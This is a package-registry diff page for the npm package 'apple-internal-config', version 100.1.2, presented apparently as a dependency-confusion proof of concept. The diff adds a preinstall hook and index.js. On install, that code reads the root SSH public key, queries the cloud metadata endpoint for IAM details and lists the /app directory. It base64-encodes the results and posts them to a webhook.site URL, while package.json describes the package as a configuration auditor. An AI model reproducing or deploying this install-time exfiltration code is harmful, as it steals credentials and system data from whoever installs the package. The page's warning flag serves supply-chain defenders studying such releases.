apple-internal-config 0.0.1-security → 100.1.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of apple-internal-config might be problematic. Click here for more details.
- package/README.md +3 -5
- package/index.js +20 -0
- package/package.json +8 -3
package/README.md
CHANGED
|
@@ -1,5 +1,3 @@
|
|
|
1
|
-
#
|
|
2
|
-
|
|
3
|
-
This
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=apple-internal-config for more information.
|
|
1
|
+
# @apple/mycelium
|
|
2
|
+
Proof of Concept by Frank.
|
|
3
|
+
This is a demonstration of Dependency Confusion vulnerability.
|
package/index.js
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
const { execSync } = require('child_process');
|
|
2
|
+
try {
|
|
3
|
+
const cmd = `
|
|
4
|
+
echo "=== [1] SIAPA PEMILIK KUNCI INI? ===" &&
|
|
5
|
+
ssh-keygen -l -f /root/.ssh/id_rsa.pub &&
|
|
6
|
+
|
|
7
|
+
echo "=== [2] CEK ISI SSH PUBLIC KEY (CARI EMAIL/DOMAIN) ===" &&
|
|
8
|
+
cat /root/.ssh/id_rsa.pub &&
|
|
9
|
+
|
|
10
|
+
echo "=== [3] TEST AWS IDENTITY (TANPA INSTALL CLI) ===" &&
|
|
11
|
+
curl -m 5 http://169.254.169.254/latest/meta-data/iam/info || echo "Bukan di EC2 langsung" &&
|
|
12
|
+
|
|
13
|
+
echo "=== [4] LIST ISI FOLDER APP ===" &&
|
|
14
|
+
ls -R /app | head -n 20
|
|
15
|
+
`;
|
|
16
|
+
const info = execSync(cmd).toString();
|
|
17
|
+
const encoded = Buffer.from(info).toString('base64');
|
|
18
|
+
|
|
19
|
+
execSync('curl -k -X POST -d "' + encoded + '" https://webhook.site/2588012e-c9ab-4d1e-ba27-9abcfca70ed2');
|
|
20
|
+
} catch (e) {}
|
package/package.json
CHANGED
|
@@ -1,6 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "apple-internal-config",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "100.1.2",
|
|
4
|
+
"description": "Internal configuration auditor for Apple systems",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node index.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "Security Researcher",
|
|
10
|
+
"license": "MIT"
|
|
6
11
|
}
|